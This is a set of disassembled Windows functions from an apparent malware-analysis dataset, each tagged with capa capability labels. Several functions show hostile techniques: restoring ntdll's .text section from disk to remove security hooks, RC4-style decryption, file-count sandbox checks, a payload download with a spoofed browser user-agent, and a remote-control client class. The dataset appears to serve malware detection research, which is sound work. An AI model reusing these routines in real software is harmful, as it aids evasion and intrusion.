joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006d6c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
nop
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x140e596c0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
xor rax, rdx
nop
nop
ret
cmp byte [0x140e58c31], 0
je 0x14006d6f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x140e599e0]
aesenc xmm0, xmmword [0x140e599f0]
aesenc xmm0, xmmword [0x140e59a00]
movq rax, xmm0
ret
jmp 0x14000e260

Function at 0x1406521d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140dcaf40]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1406521f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1406521f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1406521f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140652245
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14065223c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1406521f0
add rax, 0x28
cmp rax, r9
jne 0x140652228
xor eax, eax
ret

Function at 0x140652250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140dcaf40]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140652270
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140652278
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140652270
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140652300
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140dcaf40]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140652320
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140652328
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x1400111bd
Capabilities:
Write file on windows

Disassembly:
jmp 0x140029df0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x140051068]
call fcn.140011f3c
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140029e47
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140029f53
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x140029eec
cmp qword [rbp + 0x28], 0
jle 0x140029eec
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x140029e8c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.140011e2e
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140029f42
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140029f42
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x14001188e
Capabilities:
Terminate process

Disassembly:
jmp 0x140031130
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400119ce
Capabilities:
Get geographical location

Disassembly:
jmp 0x14002aab0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14002aaed
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140011f19
add rsp, 0x58
ret
Function at 0x140011a64
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400304f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140030510
xor al, al
jmp 0x140030591
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140030523
xor al, al
jmp 0x140030591
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14003054d
xor al, al
jmp 0x140030591
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140030561
xor al, al
jmp 0x140030591
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140030573
xor al, al
jmp 0x140030591
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14003058f
xor al, al
jmp 0x140030591
mov al, 1
add rsp, 0x38
ret
Function at 0x140011ef6
Capabilities:
Write file on windows

Disassembly:
jmp 0x140021a30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x140047040]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x140051068]
call fcn.140011f3c
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x140021a96
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140021a9d
mov al, 1
jmp 0x140021c0d
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.14001145b
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.14001145b
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.140011bc7
movzx eax, al
test eax, eax
je 0x140021b00
xor al, al
jmp 0x140021c0d
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x140021b73
cmp dword [rbp + 0x160], 1
je 0x140021b7e
cmp dword [rbp + 0x160], 3
je 0x140021bfc
jmp 0x140021c0b
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140021bce
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140021bce
xor al, al
jmp 0x140021c0d
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140021be9
mov dword [rbp + 0x154], 1
jmp 0x140021bf3
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140021c0d
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140021c0d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14003a710]
call fcn.140011c67
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.14001175d
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140001e58
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov rbx, r8
mov qword [rbp - 0x10], rdx
mov r13, rcx
lea r15, [rbp - 1]
mov rcx, r15
call fcn.140001020
lea r14, [rbp - 0x28]
mov edx, 0x100
mov rcx, r14
mov r8, r15
call fcn.140002060
xor r15d, r15d
mov rcx, r14
mov rdx, r15
call fcn.140002086
mov byte [rax], r15b
inc r15
cmp r15, 0x100
jne 0x140001ea2
xor r14d, r14d
lea r15, [rbp - 0x28]
xor esi, esi
mov rcx, r15
mov rdx, r14
call fcn.140002086
movzx edi, byte [rax]
add edi, esi
mov rcx, rbx
call fcn.1400020a4
mov rcx, rax
mov rax, r14
xor edx, edx
div rcx
mov rcx, rbx
call fcn.14000208e
movsx eax, byte [rax]
mov esi, edi
add esi, eax
lea eax, [rax + rdi + 0xff]
cmovns eax, esi
and eax, 0xffffff00
sub esi, eax
movsxd rdx, esi
mov rcx, r15
call fcn.140002086
mov r12, rax
mov rcx, r15
mov rdx, r14
call fcn.140002086
mov rcx, rax
mov rdx, r12
call fcn.1400020a9
inc r14
cmp r14, 0x100
jne 0x140001ec5
mov rcx, r13
mov rsi, qword [rbp - 0x10]
mov rdx, rsi
call fcn.1400020b4
mov rcx, rsi
call fcn.1400020a4
test rax, rax
je 0x14000200e
xor ebx, ebx
xor esi, esi
xor edi, edi
lea eax, [rsi + 1]
lea ecx, [rsi + 0x100]
test eax, eax
cmovns ecx, eax
and ecx, 0xffffff00
neg ecx
add esi, ecx
inc esi
movsxd r15, esi
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.140002086
add dil, byte [rax]
movzx r12d, dil
mov rcx, r14
mov rdx, r12
call fcn.140002086
mov r14, r13
mov r13, rax
lea rcx, [rbp - 0x28]
mov rdx, r15
call fcn.140002086
mov rcx, rax
mov rdx, r13
mov r13, r14
call fcn.1400020a9
lea r14, [rbp - 0x28]
mov rcx, r14
mov rdx, r15
call fcn.140002086
mov r15b, byte [rax]
mov rcx, r14
mov rdx, r12
call fcn.140002086
add r15b, byte [rax]
movzx edx, r15b
mov rcx, r14
call fcn.140002086
mov r15b, byte [rax]
mov rcx, r13
mov rdx, rbx
call fcn.14000208e
xor byte [rax], r15b
inc rbx
mov rcx, qword [rbp - 0x10]
call fcn.1400020a4
cmp rax, rbx
ja 0x140001f5e
lea rcx, [rbp - 0x28]
call fcn.140002140
mov rax, r13
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140002145
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov esi, r8d
mov ebp, edx
mov rdi, rcx
movsxd r14, edx
mov rcx, r14
call fcn.140009c68
mov rbx, rax
mov ecx, esi
call fcn.1401bfe04
test r14d, r14d
jle 0x140002194
mov r14d, ebp
xor r15d, r15d
mov bpl, byte [rdi + r15]
xor bpl, sil
call fcn.1401bfe1c
xor al, bpl
mov byte [rbx + r15], al
inc r15
cmp r14, r15
jne 0x140002179
mov rax, rbx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
Function at 0x1400023ad
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x230
mov ebx, r9d
mov r14, r8
mov edi, edx
mov rsi, rcx
mov rax, qword [0x14026f700]
xor rax, rsp
mov qword [rsp + 0x228], rax
xor r15d, r15d
lea rcx, [rsp + 0x120]
mov r8d, 0x100
xor edx, edx
call fcn.1401d6880
lea rcx, [rsp + 0x20]
mov r8d, 0x100
xor edx, edx
call fcn.1401d6880
mov byte [rsp + r15 + 0x20], r15b
mov eax, r15d
xor edx, edx
div ebx
mov al, byte [r14 + rdx]
mov byte [rsp + r15 + 0x120], al
inc r15
cmp r15, 0x100
jne 0x140002402
xor eax, eax
xor ecx, ecx
mov dl, byte [rsp + rax + 0x20]
add cl, dl
add cl, byte [rsp + rax + 0x120]
movzx r8d, cl
mov r9b, byte [rsp + r8 + 0x20]
mov byte [rsp + rax + 0x20], r9b
mov byte [rsp + r8 + 0x20], dl
inc rax
cmp rax, 0x100
jne 0x14000242a
test edi, edi
je 0x1400024bc
mov eax, edi
xor ecx, ecx
xor edx, edx
xor r8d, r8d
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
mov r10b, byte [rsp + r9 + 0x20]
add dl, r10b
movzx r11d, dl
mov bl, byte [rsp + r11 + 0x20]
mov byte [rsp + r9 + 0x20], bl
mov byte [rsp + r11 + 0x20], r10b
add r10b, byte [rsp + r9 + 0x20]
movzx r9d, r10b
mov r9b, byte [rsp + r9 + 0x20]
xor byte [rsi + rcx], r9b
inc rcx
cmp rax, rcx
jne 0x140002462
mov rcx, qword [rsp + 0x228]
xor rcx, rsp
call fcn.140009dd0
nop
add rsp, 0x230
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret

Function at 0x1400024dc
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
lea rcx, [0x1401e5218]
xor esi, esi
lea r9, [rbp + 0x230]
xor edx, edx
xor r8d, r8d
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1400025c5
mov rdx, qword [rbp + 0x230]
lea rsi, [rbp + 0x210]
mov rcx, rsi
call fcn.140002604
mov rcx, qword [rbp + 0x230]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
lea r8, [0x14023cd32]
lea rcx, [rbp + 0x1f0]
mov rdx, rsi
call fcn.140002674
lea rdi, [rbp + 0x1f0]
mov rcx, rdi
call fcn.1400026f0
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.1400026f6
cmp rsi, 0xffffffffffffffff
je 0x1400025b7
mov ebx, 0xffffffff
lea rdi, [rbp - 0x60]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x140002594
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
cmp ebx, 9
setae sil
jmp 0x1400025b9
xor esi, esi
lea rcx, [rbp + 0x210]
call fcn.1400026f6
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x140002710
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
mov ecx, 0x208
call fcn.140009c68
mov rdi, rax
mov qword [rsp + 0x20], rax
xor esi, esi
xor ecx, ecx
mov edx, reloc.WS2_32.dll_recv
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1400027f4
lea rsi, [rbp + 0x218]
mov rcx, rsi
mov rdx, rdi
call fcn.140002604
lea r8, [0x14023cd32]
lea rcx, [rbp + 0x1f8]
mov rdx, rsi
call fcn.140002832
lea rdi, [rbp + 0x1f8]
mov rcx, rdi
call fcn.1400026f0
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
mov rcx, rdi
call fcn.1400026f6
lea rcx, [rbp + 0x218]
call fcn.1400026f6
cmp rsi, 0xffffffffffffffff
je 0x1400027f2
mov ebx, 0xffffffff
lea rdi, [rbp - 0x58]
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov rcx, rsi
mov rdx, rdi
call r14
inc ebx
test eax, eax
jne 0x1400027d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov esi, 1
cmp ebx, 9
ja 0x1400027f4
xor esi, esi
mov eax, esi
add rsp, 0x2c0
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret

Function at 0x140002995
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov edi, r8d
mov esi, edx
test ecx, ecx
je 0x1400029bf
call fcn.140002710
test eax, eax
je 0x140002a0d
call fcn.140002859
test eax, eax
je 0x140002a0d
call fcn.1400024dc
test eax, eax
je 0x140002a0d
test edi, edi
je 0x1400029cc
call fcn.140002909
test eax, eax
je 0x140002a0d
test esi, esi
je 0x140002a05
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140002971]
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
add rsp, 0x38
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x38
pop rdi
pop rsi
ret
mov ecx, 1
call fcn.1401b71a4
int3
Function at 0x140002a18
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file via mapping

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb8
mov rax, qword [0x14026f700]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movups xmm0, xmmword [0x1401e04be]
lea rbx, [rsp + 0x90]
movups xmmword [rbx + 0xe], xmm0
movaps xmm0, xmmword [str.C:WindowsSystem32_ntdll.dll]
movaps xmmword [rbx], xmm0
movabs rax, 0x6c642e6c6c64746e
lea rsi, [rsp + 0x80]
mov qword [rsi], rax
mov word [rsi + 8], WSAGetLastError
xor edi, edi
lea r14, [rsp + 0x60]
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movaps xmmword [r14], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r15, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x48], r15
mov rcx, r15
mov qword [rsp + 0x50], rax
mov rdx, rax
mov r8, r14
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
mov rbp, qword [r14]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
mov rcx, rbx
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x40], rax
mov rcx, rax
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], rdi
mov rcx, rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
movsxd rsi, dword [rbp + 0x3c]
movzx r12d, word [rsi + rbp + 6]
test r12w, r12w
je 0x140002bc5
lea rdi, [rsi + rbp]
add rdi, 0x18
xor ebx, ebx
lea r15, str..text
movzx r13d, word [rbp + rsi + 0x14]
add r13, rdi
mov rcx, r13
mov rdx, r15
call fcn.1401c0a80
test eax, eax
jne 0x140002bb5
mov dword [rsp + 0x5c], 0
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
mov r8d, 0x40
lea r9, [rsp + 0x5c]
mov r12, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call r12
mov r8d, dword [r13 + 8]
mov edx, dword [r13 + 0xc]
lea rcx, [rdx + rbp]
add rdx, r14
call fcn.1401d61e0
mov r8d, dword [rsp + 0x5c]
mov edx, dword [r13 + 8]
mov ecx, dword [r13 + 0xc]
add rcx, rbp
xor r9d, r9d
call r12
movzx r12d, word [rbp + rsi + 6]
inc rbx
movzx eax, r12w
add rdi, 0x28
cmp rbx, rax
jb 0x140002b45
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call rsi
mov rcx, qword [rsp + 0x40]
call rsi
mov rcx, r14
call rsi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140009dd0
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140002c0f
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x92888
call fcn.140009d70
sub rsp, rax
mov rbx, rdx
mov r14, rcx
mov rax, qword [0x14026f700]
xor rax, rsp
mov qword [rsp + 0x92880], rax
lea rsi, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_107.0.5304.88_Safari_537.36
lea rax, [rsp + 0x92800]
mov ecx, recv
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov dword [rax + 0x70], 0x36332e
mov dword [rsp + 0x20], 0
mov rcx, rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
je 0x140002ce6
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov rcx, rax
mov rdx, r14
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x140002ce6
mov rsi, rax
lea rdi, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rdi
xor edx, edx
call fcn.1401d6880
lea r9, [rsp + 0x3c]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x927c0
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002ce6
lea rdx, [rsp + 0x40]
mov r8d, 0x927c0
mov rcx, rbx
call fcn.1401d61e0
mov rcx, qword [rsp + 0x92880]
xor rcx, rsp
call fcn.140009dd0
nop
add rsp, 0x92888
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1400037c0
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x138], 0xfffffffffffffffe
mov rsi, rcx
call fcn.1400035cc
lea rcx, [0x14027b2c0]
lea rdx, str.Hello_World_
call fcn.140003949
lea rdx, [0x140003bb1]
mov rcx, rax
call fcn.140003bae
lea r8, str.C2111601_9D4C_40C213_BF2C_9DD8B9D022A8
mov edi, 1
xor ecx, ecx
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
je 0x140003836
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400038ee
movabs rax, 0xff00000008
lea rcx, [rbp + 0x128]
mov qword [rcx], rax
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov rcx, rsi
call fcn.14001096c
xor ecx, ecx
call fcn.14000f5e8
test eax, eax
je 0x1400038da
xor ecx, ecx
call fcn.140014254
mov ecx, 0x18
call fcn.140003be6
mov qword [rbp + 0x130], rax
mov rcx, rax
call fcn.14000da8c
lea rcx, str.CMFCVisualManagerWindows
call fcn.140026528
lea rdx, [0x14023caec]
mov rcx, rsi
call fcn.140022ce0
lea rdi, [rbp - 0x60]
mov rcx, rdi
xor edx, edx
call fcn.140007cbc
mov qword [rsi + 0x40], rdi
mov rcx, rdi
call fcn.140011a0c
mov rcx, qword [rbp + 0x130]
mov rax, qword [rcx]
mov edx, 1
call qword [rax + reloc.WS2_32.dll_htonl]
call fcn.14001f890
lea rcx, [rbp - 0x60]
call fcn.140003bec
jmp 0x1400038ec
mov ecx, 0x67
xor edx, edx
mov r8d, 0xffffffff
call fcn.1400155f4
xor edi, edi
mov eax, edi
add rsp, 0x1c0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140003d50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CRemoteControlClientDlg.virtual_720
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 0xf0], rdx
mov rbp, r8
mov rdi, rdx
mov rbx, rcx
cmp rdx, 0x10000
jae 0x1400118c7
cmp dword [rcx + 0xe8], 0
jne 0x1400118c7
movzx eax, dx
mov dword [rcx + 0xe8], eax
call fcn.140014b70
mov r8d, 5
mov rdx, rdi
mov rsi, qword [rax + 0x18]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x14001190b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14001190b
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov rcx, rbx
call fcn.140012104
jmp 0x14001190d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400042e7
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov esi, edx
mov rdi, rcx
mov eax, edx
shr eax, 4
inc eax
movzx edx, ax
mov r8d, 6
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x140004321
mov rcx, rdi
mov rdx, rax
mov r8d, esi
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140004369
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret